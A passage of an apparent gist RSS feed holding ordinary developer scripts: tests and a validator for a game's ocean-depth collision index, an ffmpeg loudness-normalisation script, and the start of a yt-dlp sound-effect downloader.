        { b: [-76.59, 39.23, -76.57, 39.25], d: -30, p: [[[-76.59, 39.23], [-76.57, 39.23], [-76.57, 39.25]]] },
    ],
    stats: { count: 2, minDepth: -30, maxDepth: -12 },
});

const legacyIndex = () =&gt; ({
    cellSize: 0.001,
    minLon: -76.65,
    minLat: 39.2,
    maxLon: -76.5,
    maxLat: 39.32,
    cols: 120,
    rows: 120,
    cells: { &apos;10,10&apos;: [0], &apos;11,10&apos;: [0, 1] },
    depths: [
        { id: 0, bounds: { minX: -76.62, minY: 39.22, maxX: -76.6, maxY: 39.24 }, depth_min: -12, polygon: [[[-76.62, 39.22], [-76.6, 39.22], [-76.6, 39.24]]] },
        { id: 1, bounds: { minX: -76.59, minY: 39.23, maxX: -76.57, maxY: 39.25 }, depth_min: -30, polygon: [[[-76.59, 39.23], [-76.57, 39.23], [-76.57, 39.25]]] },
    ],
    depthCount: 2,
    nonEmptyCells: 2,
    minDepth: -30,
});

// --- fixture writer ---------------------------------------------------------

let n = 0;
function caseDir(files) {
    const d = join(root, &apos;c&apos; + n++);
    mkdirSync(d, { recursive: true });
    for (const [name, content] of Object.entries(files)) {
        const p = join(d, name);
        if (content === &apos;__raw_empty__&apos;) writeFileSync(p, &apos;&apos;);
        else if (Buffer.isBuffer(content)) writeFileSync(p, content);
        else if (typeof content === &apos;string&apos;) writeFileSync(p, content);
        else writeFileSync(p, JSON.stringify(content));
    }
    return d;
}

function run(target) {
    try {
        const out = execFileSync(&apos;node&apos;, [DOCTOR, target], { encoding: &apos;utf-8&apos;, stdio: [&apos;ignore&apos;, &apos;pipe&apos;, &apos;pipe&apos;] });
        return { code: 0, out };
    } catch (e) {
        return { code: e.status ?? -1, out: (e.stdout || &apos;&apos;) + (e.stderr || &apos;&apos;) };
    }
}

// expect: { code, includes?: string[], excludes?: string[] }
function expect(name, target, exp) {
    const { code, out } = run(target);
    const problems = [];
    if (exp.code !== undefined &amp;&amp; code !== exp.code) problems.push(`exit ${code}, wanted ${exp.code}`);
    for (const s of exp.includes || []) if (!out.includes(s)) problems.push(`missing &quot;${s}&quot;`);
    for (const s of exp.excludes || []) if (out.includes(s)) problems.push(`should NOT contain &quot;${s}&quot;`);
    if (problems.length) {
        fail++;
        failures.push({ name, problems, out });
        console.log(`  ✗ ${name}  (${problems.join(&apos;; &apos;)})`);
    } else {
        pass++;
        console.log(`  ✓ ${name}`);
    }
}

// --- cases ------------------------------------------------------------------

console.log(&apos;Ocean depth doctor — test battery\n&apos;);

// ===== healthy =====
expect(&apos;healthy: index + foundations, aligned&apos;, caseDir({ &apos;ocean_depth_index.json&apos;: goodIndex(), &apos;ocean_foundations.geojson&apos;: FOUND_BAL }), {
    code: 0,
    includes: [&apos;PASS&apos;],
    excludes: [&apos;DIAGNOSIS&apos;],
});

expect(&apos;healthy: index only (no foundations)&apos;, caseDir({ &apos;ocean_depth_index.json&apos;: goodIndex() }), {
    code: 0,
    includes: [&apos;PASS&apos;],
});

expect(&apos;healthy: gzipped index&apos;, caseDir({ &apos;ocean_depth_index.json.gz&apos;: gzipSync(JSON.stringify(goodIndex())), &apos;ocean_foundations.geojson&apos;: FOUND_BAL }), {
    code: 0,
    includes: [&apos;PASS&apos;],
});

expect(&apos;healthy: single-file mode (point at the .json)&apos;, join(caseDir({ &apos;ocean_depth_index.json&apos;: goodIndex() }), &apos;ocean_depth_index.json&apos;), {
    code: 0,
    includes: [&apos;PASS&apos;],
});

// ===== #1 not generated / stale =====
expect(&apos;#1 foundations present, index missing&apos;, caseDir({ &apos;ocean_foundations.geojson&apos;: FOUND_BAL }), {
    code: 1,
    includes: [&apos;#1&apos;, &apos;NEXT STEP&apos;],
});

expect(&apos;#1 nothing at all&apos;, caseDir({ &apos;roads.geojson&apos;: &apos;{}&apos; }), {
    code: 1,
    includes: [&apos;#1&apos;],
});

{
    // stale: index older than foundations by 5h
    const d = caseDir({ &apos;ocean_depth_index.json&apos;: goodIndex(), &apos;ocean_foundations.geojson&apos;: FOUND_BAL });
    const old = Date.now() / 1000 - 5 * 3600;
    utimesSync(join(d, &apos;ocean_depth_index.json&apos;), old, old);
    expect(&apos;#1 stale index (older than map layer)&apos;, d, { code: 0, includes: [&apos;STALE&apos;] });
}

// ===== #2 wrong shape =====
expect(&apos;#2 legacy object cells&apos;, caseDir({ &apos;ocean_depth_index.json&apos;: legacyIndex(), &apos;ocean_foundations.geojson&apos;: FOUND_BAL }), {
    code: 1,
    includes: [&apos;#2&apos;, &apos;LEGACY&apos;],
});

{
    const idx = goodIndex();
    idx.depths.forEach((x) =&gt; (x.d = -x.d)); // all positive
    expect(&apos;#2 positive depths (sign inverted)&apos;, caseDir({ &apos;ocean_depth_index.json&apos;: idx, &apos;ocean_foundations.geojson&apos;: FOUND_BAL }), {
        code: 1,
        includes: [&apos;#2&apos;, &apos;POSITIVE&apos;],
    });
}

{
    const idx = goodIndex();
    idx.cs = 0;
    expect(&apos;#2 cellSize is zero&apos;, caseDir({ &apos;ocean_depth_index.json&apos;: idx }), { code: 1, includes: [&apos;#2&apos;, &apos;cellSize&apos;] });
}

{
    const idx = goodIndex();
    idx.cells = [];
    expect(&apos;#2 empty cells grid&apos;, caseDir({ &apos;ocean_depth_index.json&apos;: idx }), { code: 1, includes: [&apos;#2&apos;, &apos;empty array&apos;] });
}

{
    const idx = goodIndex();
    idx.depths = [];
    expect(&apos;#2 empty depths&apos;, caseDir({ &apos;ocean_depth_index.json&apos;: idx }), { code: 1, includes: [&apos;#2&apos;, &apos;empty&apos;] });
}

{
    const idx = goodIndex();
    idx.cells = [[10, 10, 99]]; // id out of range
    expect(&apos;#2 cell id out of range&apos;, caseDir({ &apos;ocean_depth_index.json&apos;: idx }), { code: 1, includes: [&apos;#2&apos;, &apos;outside depths&apos;] });
}

{
    const idx = goodIndex();
    idx.bbox = [39.2, -76.65, 39.32, -76.5]; // lat-first → lat values &gt; 90 nope; these are in range. Use a clearer swap:
    idx.bbox = [-76.65, 200, -76.5, 260]; // bad latitude
    expect(&apos;#2/#4 latitude out of range (swapped coords)&apos;, caseDir({ &apos;ocean_depth_index.json&apos;: idx }), { code: 1, includes: [&apos;SWAP&apos;] });
}

{
    const idx = goodIndex();
    idx.depths[0].p = [[[&apos;-76.62&apos;, &apos;39.22&apos;], [&apos;-76.6&apos;, &apos;39.22&apos;]]]; // string coords
    expect(&apos;#2 string coordinates&apos;, caseDir({ &apos;ocean_depth_index.json&apos;: idx }), { code: 1, includes: [&apos;STRINGS&apos;] });
}

// ===== #4 coverage / path mismatch =====
{
    const idx = goodIndex();
    idx.bbox = [139.6, 35.5, 139.9, 35.8]; // Tokyo
    idx.depths = [{ b: [139.7, 35.6, 139.8, 35.7], d: -12, p: [[[139.7, 35.6], [139.8, 35.6], [139.8, 35.7]]] }];
    idx.cells = [[10, 10, 0]];
    expect(&apos;#4 index covers different city than map&apos;, caseDir({ &apos;ocean_depth_index.json&apos;: idx, &apos;ocean_foundations.geojson&apos;: FOUND_BAL }), {
        code: 1,
        includes: [&apos;#4&apos;, &apos;DIFFERENT area&apos;],
    });
}

// ===== malformed file error modes =====
expect(&apos;err: empty index file&apos;, caseDir({ &apos;ocean_depth_index.json&apos;: &apos;__raw_empty__&apos;, &apos;ocean_foundations.geojson&apos;: FOUND_BAL }), {
    code: 1,
    includes: [&apos;EMPTY&apos;],
});

expect(&apos;err: truncated JSON&apos;, caseDir({ &apos;ocean_depth_index.json&apos;: &apos;{&quot;cs&quot;:0.001,&quot;bbox&quot;:[-76.6,39.2&apos;, &apos;ocean_foundations.geojson&apos;: FOUND_BAL }), {
    code: 1,
    includes: [&apos;not valid JSON&apos;],
});

expect(&apos;err: top-level array not object&apos;, caseDir({ &apos;ocean_depth_index.json&apos;: &apos;[1,2,3]&apos; }), {
    code: 1,
    includes: [&apos;must be a JSON object&apos;],
});

expect(&apos;err: BOM-prefixed JSON still parses&apos;, caseDir({ &apos;ocean_depth_index.json&apos;: &apos;﻿&apos; + JSON.stringify(goodIndex()) }), {
    code: 0,
    includes: [&apos;PASS&apos;],
});

expect(&apos;err: gzip magic but corrupt&apos;, caseDir({ &apos;ocean_depth_index.json&apos;: Buffer.from([0x1f, 0x8b, 0x08, 0x00, 0x99, 0x99]) }), {
    code: 1,
    includes: [&apos;decompress&apos;],
});

expect(&apos;err: named .gz but actually plain json&apos;, caseDir({ &apos;ocean_depth_index.json.gz&apos;: JSON.stringify(goodIndex()) }), {
    code: 0,
    includes: [&apos;PASS&apos;],
});

// ===== arg / path handling =====
expect(&apos;arg: nonexistent path&apos;, join(root, &apos;does-not-exist&apos;), { code: 2, includes: [&apos;Could not find&apos;] });

expect(&apos;arg: --help&apos;, &apos;--help&apos;, { code: 0, includes: [&apos;Usage&apos;, &apos;TWO DIFFERENT FILES&apos;] });

{
    // parent with two cities → ambiguous
    const parent = join(root, &apos;multi&apos;);
    mkdirSync(join(parent, &apos;BAL&apos;), { recursive: true });
    mkdirSync(join(parent, &apos;NYC&apos;), { recursive: true });
    writeFileSync(join(parent, &apos;BAL&apos;, &apos;ocean_depth_index.json&apos;), JSON.stringify(goodIndex()));
    writeFileSync(join(parent, &apos;NYC&apos;, &apos;ocean_depth_index.json&apos;), JSON.stringify(goodIndex()));
    expect(&apos;arg: parent of multiple cities is ambiguous&apos;, parent, { code: 2, includes: [&apos;more than one&apos;] });
}

// --- summary ----------------------------------------------------------------

console.log(`\n${pass} passed, ${fail} failed`);
if (fail) {
    console.log(&apos;\n--- failure detail ---&apos;);
    for (const f of failures) {
        console.log(`\n### ${f.name}\n${f.problems.join(&apos;; &apos;)}\n${f.out.split(&apos;\n&apos;).slice(0, 12).join(&apos;\n&apos;)}`);
    }
}
try {
    rmSync(root, { recursive: true, force: true });
} catch {
    /* ignore */
}
process.exit(fail ? 1 : 0);
</code></pre>
<h3>validate-ocean-depth-index.mjs</h3><pre><code class="language-javascript">#!/usr/bin/env node
//
// ============================================================================
//  HOW TO GET THIS FILE AND RUN IT  —  you do NOT need the game&apos;s source code.
// ----------------------------------------------------------------------------
//  Requirement: Node.js 16+   (check with:  node --version)
//
//  1. Download this one file into your current folder:
//
//       curl -O https://gist.githubusercontent.com/ejfox/55979852a4a5d2f782e8f4be564140a3/raw/validate-ocean-depth-index.mjs
//
//     ...or grab all the ocean-depth tools at once:
//
//       for f in diagnose-ocean-depth validate-ocean-depth-index convert-ocean-depth-index; do curl -O https://gist.githubusercontent.com/ejfox/55979852a4a5d2f782e8f4be564140a3/raw/$f.mjs; done
//
//  2. Run it:
//
//       node validate-ocean-depth-index.mjs ocean_depth_index.json
//
//  That&apos;s it — no npm, no install, no dependencies. Single self-contained file.
//  Output ends in PASS/FAIL and a clear NEXT STEP. Exit codes: 0 ok, 1 problem, 2 couldn&apos;t run.
// ============================================================================
// Ocean depth index validator
// ---------------------------------------------------------------------------
// Usage:  node validate-ocean-depth-index.mjs &lt;path-to-ocean_depth_index.json[.gz]&gt;
//
// WHY THIS EXISTS
// A polygon set that draws perfectly in the `ocean_foundations` pmtiles map
// layer can still be completely inert in-game. The map layer just renders
// polygons. The GAME instead feeds the index through
// `createOceanDepthCollisionDetector` (app/game/helpers/oceanDepthCollision.ts),
// which:
//   1. ONLY understands the &quot;optimized&quot; index shape. It blindly does
//      `index.cells.forEach(...)`. A legacy/object-`cells` file throws there,
//      the loader swallows it in a try/catch, and the city silently loads with
//      NO ocean collision at all. No error in the UI.
//   2. Buckets every polygon into a uniform grid using
//      `col = floor((lon - bbox.minLon) / cellSizeLon)`. If bbox ordering,
//      coordinate order ([lon,lat] vs [lat,lon]), depth sign, cell indices, or
//      depth ids are off, the grid lookup quietly resolves to nothing and you
//      get zero collisions — which looks exactly like &quot;it doesn&apos;t work.&quot;
//
// This validator replicates that pipeline and reports the precise reason a file
// would be inert or crash in-game. It checks STRUCTURE the game requires, not
// just &quot;are the polygons valid.&quot;
//
// Zero dependencies. Node 16+ (uses node:zlib, node:fs).
// ---------------------------------------------------------------------------

import { readFileSync } from &apos;node:fs&apos;;
import { gunzipSync } from &apos;node:zlib&apos;;

const RED = &apos;\x1b[31m&apos;;
const GREEN = &apos;\x1b[32m&apos;;
const YELLOW = &apos;\x1b[33m&apos;;
const CYAN = &apos;\x1b[36m&apos;;
const DIM = &apos;\x1b[2m&apos;;
const BOLD = &apos;\x1b[1m&apos;;
const RESET = &apos;\x1b[0m&apos;;

const errors = []; // fatal: file is inert or crashes in-game
const warnings = []; // suspicious but maybe survivable
const notes = []; // informational

function err(msg, fix) {
    errors.push({ msg, fix });
}
function warn(msg, fix) {
    warnings.push({ msg, fix });
}
function note(msg) {
    notes.push(msg);
}

function fail(msg) {
    console.error(`${RED}${BOLD}FATAL${RESET} ${msg}`);
    process.exit(2);
}

// --- load -------------------------------------------------------------------

const path = process.argv[2];
if (!path) {
    console.error(`Usage: node ${process.argv[1].split(&apos;/&apos;).pop()} &lt;ocean_depth_index.json[.gz]&gt;`);
    process.exit(1);
}

let raw;
try {
    raw = readFileSync(path);
} catch (e) {
    fail(`cannot read file: ${e.message}`);
}

// gunzip if the path says .gz OR the magic bytes say gzip (1f 8b)
let text;
const isGzip = raw.length &gt; 2 &amp;&amp; raw[0] === 0x1f &amp;&amp; raw[1] === 0x8b;
if (path.endsWith(&apos;.gz&apos;) || isGzip) {
    try {
        text = gunzipSync(raw).toString(&apos;utf-8&apos;);
        note(`decompressed gzip (${(raw.length / 1024 / 1024).toFixed(2)} MB compressed)`);
    } catch (e) {
        fail(`looks like gzip but failed to decompress: ${e.message}`);
    }
} else {
    text = raw.toString(&apos;utf-8&apos;);
}

let data;
try {
    data = JSON.parse(text);
} catch (e) {
    fail(`invalid JSON: ${e.message}`);
}

if (data == null || typeof data !== &apos;object&apos; || Array.isArray(data)) {
    fail(&apos;top-level value must be a JSON object&apos;);
}

// --- detect shape -----------------------------------------------------------
// Optimized:  { cs, bbox, grid, cells: number[][], depths: [{b,d,p}], stats }
// Legacy:     { cellSize, minLon.., cols, rows, cells: {&quot;c,r&quot;:[..]}, depths:[{id,bounds,depth_min,polygon}], depthCount, minDepth }

const looksOptimized = &apos;cs&apos; in data || &apos;bbox&apos; in data || &apos;grid&apos; in data || &apos;stats&apos; in data;
const looksLegacy = &apos;cellSize&apos; in data || &apos;minLon&apos; in data || &apos;cols&apos; in data || &apos;depthCount&apos; in data;

console.log(`${BOLD}Ocean depth index validation${RESET} ${DIM}${path}${RESET}\n`);

if (looksLegacy &amp;&amp; !looksOptimized) {
    err(
        &apos;File is in the LEGACY shape (cellSize/minLon/cols/rows, object-keyed cells). &apos; +
            &apos;The in-game collision detector ONLY reads the OPTIMIZED shape and calls `cells.forEach(...)` &apos; +
            &apos;on it. An object `cells` has no `.forEach`, so it throws on load. The loader catches that and &apos; +
            &apos;returns null — the city loads with NO ocean collision and NO visible error. &apos; +
            &apos;This alone explains &quot;renders on the map but does nothing in-game.&quot;&apos;,
        &apos;Re-emit the file in the optimized shape: cellSize→cs, {minLon,minLat,maxLon,maxLat}→bbox (LON-FIRST), &apos; +
            &apos;{cols,rows}→grid, cells object {&quot;c,r&quot;:[ids]}→array of [col,row,...ids], &apos; +
            &apos;each depth {id,bounds,depth_min,polygon}→{b:[minX,minY,maxX,maxY], d, p}, &apos; +
            &apos;{depthCount,minDepth}→stats:{count,minDepth,maxDepth}. &apos; +
            &apos;Use data-gen-2/maps/bathymetry/generateOceanDepthIndex.ts as the reference emitter.&apos;
    );
    // Keep going so we can still sanity-check the geometry, but treat as optimized-ish where possible.
}

if (looksOptimized) note(&apos;shape: OPTIMIZED (this is what the game expects)&apos;);
else if (looksLegacy) note(&apos;shape: LEGACY (game cannot consume this directly)&apos;);
else warn(&apos;shape: UNRECOGNIZED — has neither optimized nor legacy marker fields&apos;, &apos;Confirm this is actually an ocean depth index.&apos;);

// Helper: read a field allowing either optimized or legacy name, prefer optimized.
function field(optName, legacyTransform) {
    if (optName in data) return data[optName];
    return legacyTransform ? legacyTransform() : undefined;
}

// --- normalize to the values the detector computes --------------------------

const cs = field(&apos;cs&apos;, () =&gt; data.cellSize);
const bbox = field(&apos;bbox&apos;, () =&gt;
    &apos;minLon&apos; in data ? [data.minLon, data.minLat, data.maxLon, data.maxLat] : undefined
);
const grid = field(&apos;grid&apos;, () =&gt; (&apos;cols&apos; in data ? [data.cols, data.rows] : undefined));
const cells = data.cells;
const depths = data.depths;
const stats = data.stats;

// --- cs ---------------------------------------------------------------------
if (typeof cs !== &apos;number&apos; || !isFinite(cs)) {
    err(`\`cs\` (cellSize) is ${JSON.stringify(cs)} — must be a finite number.`, &apos;Set cs to the grid cell size in degrees of latitude (e.g. the generator default).&apos;);
} else if (cs &lt;= 0) {
    err(`\`cs\` is ${cs} — must be &gt; 0. The detector divides by cellSize; 0/neg makes every cell index Infinity/NaN and no polygon is ever found.`, &apos;Use a positive cell size.&apos;);
} else {
    note(`cs (cellSize) = ${cs}`);
}

// --- bbox -------------------------------------------------------------------
if (!Array.isArray(bbox) || bbox.length !== 4 || bbox.some((n) =&gt; typeof n !== &apos;number&apos; || !isFinite(n))) {
    err(`\`bbox\` is ${JSON.stringify(bbox)} — must be [minLon, minLat, maxLon, maxLat] of 4 finite numbers.`, &apos;Emit bbox lon-first: [minLon, minLat, maxLon, maxLat].&apos;);
} else {
    const [minLon, minLat, maxLon, maxLat] = bbox;
    note(`bbox = [minLon ${minLon}, minLat ${minLat}, maxLon ${maxLon}, maxLat ${maxLat}]`);
    if (minLon &gt;= maxLon) err(`bbox minLon (${minLon}) &gt;= maxLon (${maxLon}). Grid width collapses; cell columns never match.`, &apos;Check bbox ordering — it is LON-FIRST: [minLon, minLat, maxLon, maxLat].&apos;);
    if (minLat &gt;= maxLat) err(`bbox minLat (${minLat}) &gt;= maxLat (${maxLat}). Grid height collapses; cell rows never match.`, &apos;Check bbox ordering — it is LON-FIRST: [minLon, minLat, maxLon, maxLat].&apos;);
    // ordering / swap heuristics
    if (Math.abs(minLon) &lt;= 90 &amp;&amp; Math.abs(minLat) &gt; 90) {
        err(`bbox looks LAT-FIRST: minLat=${minLat} is out of [-90,90] but would be a valid longitude. The detector reads bbox[0] as longitude.`, &apos;Swap to lon-first: [minLon, minLat, maxLon, maxLat].&apos;);
    }
    if (Math.abs(minLon) &gt; 180 || Math.abs(maxLon) &gt; 180) warn(`bbox longitude out of [-180,180] (${minLon}..${maxLon}).`, &apos;Verify coordinates are WGS84 lon/lat.&apos;);
    if (Math.abs(minLat) &gt; 90 || Math.abs(maxLat) &gt; 90) warn(`bbox latitude out of [-90,90] (${minLat}..${maxLat}).`, &apos;Verify coordinates are WGS84 lon/lat.&apos;);
}

// --- grid -------------------------------------------------------------------
let cols, rows;
if (!Array.isArray(grid) || grid.length !== 2 || grid.some((n) =&gt; !Number.isInteger(n))) {
    err(`\`grid\` is ${JSON.stringify(grid)} — must be [cols, rows] of two integers.`, &apos;Emit grid as [cols, rows].&apos;);
} else {
    [cols, rows] = grid;
    note(`grid = ${cols} cols x ${rows} rows`);
    if (cols &lt;= 0 || rows &lt;= 0) err(`grid has non-positive dimension (${cols}x${rows}). The detector clamps lookups to [0, cols-1]/[0, rows-1]; nothing is ever scanned.`, &apos;Recompute grid from bbox/cs.&apos;);
    // cross-check grid vs bbox/cs
    if (Array.isArray(bbox) &amp;&amp; typeof cs === &apos;number&apos; &amp;&amp; cs &gt; 0) {
        const [minLon, minLat, maxLon, maxLat] = bbox;
        const expCols = Math.ceil((maxLon - minLon) / (cs / Math.cos((((minLat + maxLat) / 2) * Math.PI) / 180)));
        const expRows = Math.ceil((maxLat - minLat) / cs);
        // loose check — generator uses cos-corrected lon cell size; allow slack
        if (cols &amp;&amp; (cols &lt; expCols * 0.5 || cols &gt; expCols * 2)) warn(`grid cols (${cols}) far from bbox/cs estimate (~${expCols}). Cell math may not line up with your polygons.`, &apos;Regenerate the index so grid matches bbox and cs.&apos;);
        if (rows &amp;&amp; (rows &lt; expRows * 0.5 || rows &gt; expRows * 2)) warn(`grid rows (${rows}) far from bbox/cs estimate (~${expRows}).`, &apos;Regenerate the index so grid matches bbox and cs.&apos;);
    }
}

// --- depths -----------------------------------------------------------------
let depthCount = 0;
if (!Array.isArray(depths)) {
    err(`\`depths\` is ${typeof depths} — must be an array of {b,d,p}. The detector maps over it; a non-array crashes on load.`, &apos;Emit depths as an array.&apos;);
} else {
    depthCount = depths.length;
    note(`depths: ${depthCount} features`);
    if (depthCount === 0) err(&apos;`depths` is empty. Even with valid cells, there are no polygons to collide with — track building over water will never be blocked.&apos;, &apos;Confirm the source bathymetry actually produced features.&apos;);

    let badShape = 0;
    let positiveDepth = 0;
    let zeroDepth = 0;
    let badBounds = 0;
    let badPoly = 0;
    let boundsOutsideBbox = 0;
    const sampleN = Math.min(depthCount, 5000);
    for (let i = 0; i &lt; sampleN; i++) {
        const d = depths[i];
        if (d == null || typeof d !== &apos;object&apos;) {
            badShape++;
            continue;
        }
        // optimized expects b, d, p
        const b = &apos;b&apos; in d ? d.b : &apos;bounds&apos; in d ? [d.bounds?.minX, d.bounds?.minY, d.bounds?.maxX, d.bounds?.maxY] : undefined;
        const depthVal = &apos;d&apos; in d ? d.d : d.depth_min;
        const poly = &apos;p&apos; in d ? d.p : d.polygon;

        if (!Array.isArray(b) || b.length !== 4 || b.some((n) =&gt; typeof n !== &apos;number&apos; || !isFinite(n))) {
            badBounds++;
        } else if (Array.isArray(bbox) &amp;&amp; bbox.length === 4) {
            const [mnLon, mnLat, mxLon, mxLat] = bbox;
            if (b[2] &lt; mnLon || b[0] &gt; mxLon || b[3] &lt; mnLat || b[1] &gt; mxLat) boundsOutsideBbox++;
        }

        if (typeof depthVal !== &apos;number&apos; || !isFinite(depthVal)) {
            badShape++;
        } else if (depthVal &gt; 0) {
            positiveDepth++;
        } else if (depthVal === 0) {
            zeroDepth++;
        }

        if (!Array.isArray(poly) || poly.length === 0) badPoly++;
    }

    if (badShape) err(`${badShape}/${sampleN} sampled depths have a missing/non-numeric depth value (\`d\`).`, &apos;Each depth needs a numeric `d` (ocean floor depth in meters).&apos;);
    if (badBounds) err(`${badBounds}/${sampleN} sampled depths have a bad \`b\` bounds array. The detector does a fast bounds reject using b[0..3]; a missing bounds means the polygon is effectively invisible to collision.`, &apos;Each depth needs b:[minX,minY,maxX,maxY] in lon/lat.&apos;);
    if (badPoly) err(`${badPoly}/${sampleN} sampled depths have empty/missing polygon coords (\`p\`).`, &apos;Each depth needs p: Polygon (number[][][]) or MultiPolygon (number[][][][]) coordinates.&apos;);
    if (positiveDepth === sampleN &amp;&amp; sampleN &gt; 0) {
        err(`ALL sampled depth values (\`d\`) are POSITIVE. In-game logic blocks a track only when \`trackElevation &gt; depth_min\` and depths are meant to be NEGATIVE meters (e.g. -10 = 10m deep). With positive d, the collision check is essentially never true, so building over water is never blocked even though the map looks right.`, &apos;Store depths as negative meters below sea level (deeper = more negative).&apos;);
    } else if (positiveDepth) {
        warn(`${positiveDepth}/${sampleN} sampled depths are positive. Depths should be negative meters (below sea level).`, &apos;Verify sign convention; deeper = more negative.&apos;);
    }
    if (boundsOutsideBbox) warn(`${boundsOutsideBbox}/${sampleN} sampled depth bounds fall (partly) outside the top-level bbox. Those polygons sit in grid cells the detector never scans → no collision there.`, &apos;Make sure bbox encloses every feature, and that bounds are [lon,lat] not [lat,lon].&apos;);
    if (zeroDepth) note(`${zeroDepth}/${sampleN} sampled depths are exactly 0m (sea level / shoreline).`);
}

// --- cells ------------------------------------------------------------------
if (Array.isArray(cells)) {
    note(`cells: ${cells.length} non-empty cells (array form — correct for game)`);
    let badRow = 0;
    let outOfGrid = 0;
    let badId = 0;
    let totalRefs = 0;
    const sampleN = Math.min(cells.length, 20000);
    for (let i = 0; i &lt; sampleN; i++) {
        const c = cells[i];
        if (!Array.isArray(c) || c.length &lt; 2) {
            badRow++;
            continue;
        }
        const col = c[0];
        const row = c[1];
        if (!Number.isInteger(col) || !Number.isInteger(row)) {
            badRow++;
            continue;
        }
        if (cols != null &amp;&amp; rows != null &amp;&amp; (col &lt; 0 || col &gt;= cols || row &lt; 0 || row &gt;= rows)) outOfGrid++;
        for (let k = 2; k &lt; c.length; k++) {
            totalRefs++;
            const id = c[k];
            if (!Number.isInteger(id) || id &lt; 0 || id &gt;= depthCount) badId++;
        }
    }
    if (badRow) err(`${badRow}/${sampleN} sampled cells are not [col, row, ...ids] integer arrays.`, &apos;Each cell row must be [col, row, ...depthIds].&apos;);
    if (outOfGrid) warn(`${outOfGrid}/${sampleN} sampled cells reference col/row outside grid ${cols}x${rows}. The detector clamps scans to the grid, so those polygons are unreachable.`, &apos;Ensure cell col/row indices are within grid bounds.&apos;);
    if (badId) err(`${badId}/${totalRefs} sampled cell depth-ids are out of range [0, ${depthCount}). Remember: in the optimized format a depth is identified by its INDEX in \`depths\`, not a stored \`id\`. Out-of-range ids resolve to nothing → no collision.`, &apos;Cell ids must be the integer index of the feature within the depths array.&apos;);
    if (cells.length === 0) err(&apos;`cells` is empty — the spatial grid is empty, so no track query ever finds a polygon. Map still renders</code></pre><p><em>Truncated — <a href="https://gist.github.com/55979852a4a5d2f782e8f4be564140a3">view the full gist</a>.</em></p>]]></content:encoded>
    </item>
<item>
      <title><![CDATA[Broadcast-normalize audio files to EBU R128 (-16 LUFS, -1 dBTP, 48kHz) with silence trimming]]></title>
      <link>https://gist.github.com/7279174a741247af7b84d04f2c61bf12</link>
      <guid isPermaLink="true">https://gist.github.com/7279174a741247af7b84d04f2c61bf12</guid>
      <pubDate>Sat, 25 Apr 2026 15:09:04 GMT</pubDate>
      <dc:creator>EJ Fox</dc:creator>
      <dcterms:modified>2026-04-25T15:09:04.000Z</dcterms:modified>
      <code:stargazers>0</code:stargazers>
      <code:file>
        <code:filename>broadcast-normalize-sfx.sh</code:filename>
        <code:language>Shell</code:language>
        <code:size>1047</code:size>
      </code:file>
      <description><![CDATA[Broadcast-normalize audio files to EBU R128 (-16 LUFS, -1 dBTP, 48kHz) with silence trimming]]></description>
      <content:encoded><![CDATA[<h3>broadcast-normalize-sfx.sh</h3><pre><code class="language-shell">#!/bin/bash
# broadcast-normalize-sfx.sh
# Normalize audio files to broadcast-ready levels (EBU R128)
# Strips leading silence, normalizes to -16 LUFS, limits peaks, resamples to 48kHz
#
# Usage: ./broadcast-normalize-sfx.sh &lt;directory&gt;
# Requires: ffmpeg

set -euo pipefail

DIR=&quot;${1:-.}&quot;
cd &quot;$DIR&quot; || { echo &quot;Error: cannot cd to $DIR&quot;; exit 1; }

echo &quot;Processing all .mp3 files in: $(pwd)&quot;
echo &quot;Target: -16 LUFS, -1 dBTP, 48kHz, leading silence removed, 200ms pad&quot;
echo &quot;---&quot;

TOTAL=0
OK=0
FAIL=0

for f in *.mp3; do
  [ -f &quot;$f&quot; ] || continue
  TOTAL=$((TOTAL + 1))
  echo &quot;[$TOTAL] $f&quot;

  TMPFILE=$(mktemp /tmp/broadcast-norm-XXXXXX.mp3)

  if ffmpeg -i &quot;$f&quot; \
    -af &quot;silenceremove=start_periods=1:start_duration=0:start_threshold=-40dB,loudnorm=I=-16:TP=-1:LRA=11,adelay=200|200&quot; \
    -ar 48000 -y &quot;$TMPFILE&quot; 2&gt;/dev/null; then
    mv &quot;$TMPFILE&quot; &quot;$f&quot;
    OK=$((OK + 1))
    echo &quot;  -&gt; done&quot;
  else
    rm -f &quot;$TMPFILE&quot;
    FAIL=$((FAIL + 1))
    echo &quot;  -&gt; FAILED&quot;
  fi
done

echo &quot;---&quot;
echo &quot;Complete: $OK/$TOTAL succeeded, $FAIL failed&quot;
</code></pre>]]></content:encoded>
    </item>
<item>
      <title><![CDATA[Download 100+ meme/video essay/soundboard sound effects via yt-dlp]]></title>
      <link>https://gist.github.com/9841ae4c1dea1a1b1b3cd2559186df0e</link>
      <guid isPermaLink="true">https://gist.github.com/9841ae4c1dea1a1b1b3cd2559186df0e</guid>
      <pubDate>Sat, 25 Apr 2026 15:09:03 GMT</pubDate>
      <dc:creator>EJ Fox</dc:creator>
      <dcterms:modified>2026-04-25T15:09:03.000Z</dcterms:modified>
      <code:stargazers>0</code:stargazers>
      <code:file>
        <code:filename>download-meme-sfx.sh</code:filename>
        <code:language>Shell</code:language>
        <code:size>9428</code:size>
      </code:file>
      <description><![CDATA[Download 100+ meme/video essay/soundboard sound effects via yt-dlp]]></description>
      <content:encoded><![CDATA[<h3>download-meme-sfx.sh</h3><pre><code class="language-shell">#!/bin/bash
# download-meme-sfx.sh
# Download a curated set of meme / video essay / soundboard sound effects from YouTube
# Uses yt-dlp to search and extract audio as mp3
#
# Usage: ./download-meme-sfx.sh [output-directory]
# Requires: yt-dlp, ffmpeg

set -euo pipefail

OUTDIR=&quot;${1:-./meme-sfx}&quot;
mkdir -p &quot;$OUTDIR&quot;
cd &quot;$OUTDIR&quot;

download() {
  local name=&quot;$1&quot;
  local query=&quot;$2&quot;
  local maxdur=&quot;${3:-30}&quot;

  if [ -f &quot;${name}.mp3&quot; ]; then
    echo &quot;SKIP (exists): ${name}.mp3&quot;
    return
  fi

  echo &quot;Downloading: $name&quot;
  yt-dlp --extract-audio --audio-format mp3 --audio-quality 0 \
    -o &quot;${name}.%(ext)s&quot; \
    &quot;ytsearch1:${query}&quot; \
    --max-downloads 1 \
    --match-filter &quot;duration &lt; ${maxdur}&quot; \
    --quiet --no-warnings 2&gt;/dev/null || echo &quot;  WARN: may have failed&quot;
}

echo &quot;=== MEME REACTIONS ===&quot;
download &quot;oof-roblox&quot;           &quot;roblox oof sound effect&quot;
download &quot;bruh&quot;                 &quot;bruh sound effect #2&quot;
download &quot;bonk&quot;                 &quot;bonk sound effect meme&quot;
download &quot;vine-boom&quot;            &quot;vine boom sound effect&quot;
